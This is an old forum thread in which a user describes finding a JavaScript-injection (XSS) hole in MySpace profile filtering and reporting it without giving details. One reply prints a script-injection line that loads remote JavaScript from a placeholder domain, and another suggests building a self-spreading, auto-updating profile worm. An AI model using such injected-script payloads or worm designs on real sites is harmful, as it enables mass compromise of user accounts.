Allegro.cc - Online Community

Allegro.cc Forums » Off-Topic Ordeals » <3 MySpace

This thread is locked; no one can reply to it. rss feed Print
<3 MySpace
CGamesPlay
Member #2,559
July 2002
avatar

Haha, I love MySpace. Totally.

I recently discovered a vulnerability in the way MySpace filters profiles which allows me to insert JavaScript into them. I decide to do The Right Thing, and contact the help desk. I sent a message somewhere along these lines:

Quote:

A vulnerability exists in the way in which MySpace handles profiles that could allow a malicious user to insert JavaScript into their profile. For details about this vulnerability, please contact me.

That's it. No information about what the vulnerability was or how to reproduce it. Almost a day later, on a Saturday, I receive this response:

Quote:

Subject: MySpace - Error on Site
From: MySpace Contact1 <mscontact1@myspace.com>

Hello,

That issue is currently being resolved. Please be patient.

Thank you,

MySpace.com

Obviously, the method MySpace uses to filter malicious code from pages is inherently unsafe: blacklisting words like "javascript" and "xmlhttprequest". Last year, one user created a worm that in 20 hours had infected 1.8 million people, causing MySpace to shut down for several hours. I am confident that the exploit I have discovered is capable of reproducing such a worm.

Good thing they're fixing it, though. I will just have to be patient.

--
Tomasu: Every time you read this: hugging!

Ryan Patterson - <http://cgamesplay.com/>

Mark Oates
Member #1,146
March 2001
avatar

I equate Myspace to a really popular night club. The kind where you walk into the bathroom and it's cloged and hasn't been cleaned in a few days. Then you walk through a door and it's just a piece of wood on one hinge.

Still, everybody goes there on friday night!

--
Visit CLUBCATT.com for cat shirts, cat mugs, puzzles, art and more <-- coupon code ALLEGRO4LIFE at checkout and get $3 off any order of 3 or more items!

AllegroFlareAllegroFlare DocsAllegroFlare GitHub

Eradicor
Member #2,992
December 2002
avatar

Myspace seems to me be full of... horribly stylished.. whoknowswhatpages.. I am not even sure what its is there for.

| Visit The site |
{Creating realms from dreams since 1995}

Matthew Leverton
Supreme Loser
January 1999
avatar

Can you put a lot of JS in it? Taking myspace down for a day is worth going to jail for the rest of one's life. ;D :-X

CGamesPlay
Member #2,559
July 2002
avatar

Quote:

Can you put a lot of JS in it?

Well, I could document.write('<script src="http://mydomain.com/script.js"> </script>');

--
Tomasu: Every time you read this: hugging!

Ryan Patterson - <http://cgamesplay.com/>

ImLeftFooted
Member #3,935
October 2003
avatar

Make a worm that adds the js to the viewer's own profile, with some kind of way to auto-update the js.

CGamesPlay
Member #2,559
July 2002
avatar

See above post, plus the website of the user recently arrested for creating the samy worm last year, http://namb.la

--
Tomasu: Every time you read this: hugging!

Ryan Patterson - <http://cgamesplay.com/>

ImLeftFooted
Member #3,935
October 2003
avatar

Dude he got a slashdot post claiming it as the 'first js virus ever'.

That totally should have been me.

Oh-well, at least I'm not in jail.

Billybob
Member #3,136
January 2003

Well are you going to tell us how the exploit works or not?

ReyBrujo
Moderator
January 2001
avatar

MySpace deserves to burn in hell, like YouTube, Digg and many other Web 2.0 sites :P

--
RB
光子「あたしただ…奪う側に回ろうと思っただけよ」
Mitsuko's last words, Battle Royale

BAF
Member #2,981
December 2002
avatar

Hey, I actually like YouTube. Myspace sucks, and so does Digg, but YouTube isn't bad, I actually prefer it to Google Video in terms of video quality (it's not stretched to full browser size to look really shittae).

MiquelFire
Member #3,110
January 2003
avatar

Actually, you can set Google Video to not stretch all the way, and only display in it's original or double size.

---
Febreze (and other air fresheners actually) is just below perfumes/colognes, and that's just below dead skunks in terms of smells that offend my nose.
MiquelFire.red
If anyone is of the opinion that there is no systemic racism in America, they're either blind, stupid, or racist too. ~Edgar Reynaldo

Billybob
Member #3,136
January 2003

Digg rocks.

Sorry, I had to say it. Can't have this be a Digg bash fest.

Bob Keane
Member #7,342
June 2006

Firefox has a "feature" which allows websites to install software. The default setting is "on". That can also be considered a security risk.

By reading this sig, I, the reader, agree to render my soul to Bob Keane. I, the reader, understand this is a legally binding contract and freely render my soul.
"Love thy neighbor as much as you love yourself means be nice to the people next door. Everyone else can go to hell. Missy Cooper.
The advantage to learning something on your own is that there is no one there to tell you something can't be done.

Marco Radaelli
Member #3,028
December 2002
avatar

Mine tells me when a website tried to install software, much like when it tries to open a popup.

It's in Options->Security, first checkbox; Mine is checked, but I don't know the default setting.

kentl
Member #2,905
November 2002

Quote:

Firefox has a "feature" which allows websites to install software. The default setting is "on". That can also be considered a security risk.

I think you're wrong. Care to elaborate?

Thomas Fjellstrom
Member #476
June 2000
avatar

Quote:

I think you're wrong. Care to elaborate?

Its for firefox extensions, plugins, and themes only iirc.

--
Thomas Fjellstrom - [website] - [email] - [Allegro Wiki] - [Allegro TODO]
"If you can't think of a better solution, don't try to make a better solution." -- weapon_S
"The less evidence we have for what we believe is certain, the more violently we defend beliefs against those who don't agree" -- https://twitter.com/neiltyson/status/592870205409353730

kentl
Member #2,905
November 2002

Well it only accepts allows such for a few sites by default. Otherwise you'll have to accept the installation. So I would say it's secure.

Bob Keane
Member #7,342
June 2006

Select edit>preferences>web features. The second option is "Allow websites to install software". By default, this box is checked. Firefox-1.0.8 at least.

[/edit]
This feature can be exploited by creating a "plugin" that captures credit card info.

By reading this sig, I, the reader, agree to render my soul to Bob Keane. I, the reader, understand this is a legally binding contract and freely render my soul.
"Love thy neighbor as much as you love yourself means be nice to the people next door. Everyone else can go to hell. Missy Cooper.
The advantage to learning something on your own is that there is no one there to tell you something can't be done.

BAF
Member #2,981
December 2002
avatar

It doesn't accept it, it just allows it. If the site that tries to install isn't on the list, it denies it. If it is on the list, it asks if you want to install it.

There is no way to automatically install plugins like that. If there was, we would have heard of it by now. And, BTW, you really should upgrade your FireFox.

CGamesPlay
Member #2,559
July 2002
avatar

Bob: as BAF said, that is only exploitable through user interaction. Furthermore, that feature is even more tighty restricted because only certain sites are even allowed to ask user permission.

The exploit I discovered can be initiated without user interaction on Internet Explorer. Under all browsers supporting javascript, it can be activated with user interaction.

--
Tomasu: Every time you read this: hugging!

Ryan Patterson - <http://cgamesplay.com/>

ImLeftFooted
Member #3,935
October 2003
avatar

You using that CSS file javascript execution bug?

Bob Keane
Member #7,342
June 2006

I stand corrected. YUM and YUMEX (Linux) do not seem to find the latest versions of Firefox though.

By reading this sig, I, the reader, agree to render my soul to Bob Keane. I, the reader, understand this is a legally binding contract and freely render my soul.
"Love thy neighbor as much as you love yourself means be nice to the people next door. Everyone else can go to hell. Missy Cooper.
The advantage to learning something on your own is that there is no one there to tell you something can't be done.

HoHo
Member #4,534
April 2004
avatar

I suggest you to update your repository cache. Firefox 2.0 is rather old, 1.0.8 was released ages ago.

__________
In theory, there is no difference between theory and practice. But, in practice, there is - Jan L.A. van de Snepscheut
MMORPG's...Many Men Online Role Playing Girls - Radagar
"Is Java REALLY slower? Does STL really bloat your exes? Find out with your friendly host, HoHo, and his benchmarking machine!" - Jakub Wasilewski

CGamesPlay
Member #2,559
July 2002
avatar

Quote:

You using that CSS file javascript execution bug?

I don't want to give away any details about the vulnerability itself, sorry. But I do have to say that I am truly amazed that no one else has discovered this. Perhaps someone has and is using it to harvest user login information. I don't know, maybe I just spend to much time dealing with HTML parsing so I know the ins and outs better than other people who have drive to break MySpace :P

--
Tomasu: Every time you read this: hugging!

Ryan Patterson - <http://cgamesplay.com/>



Go to: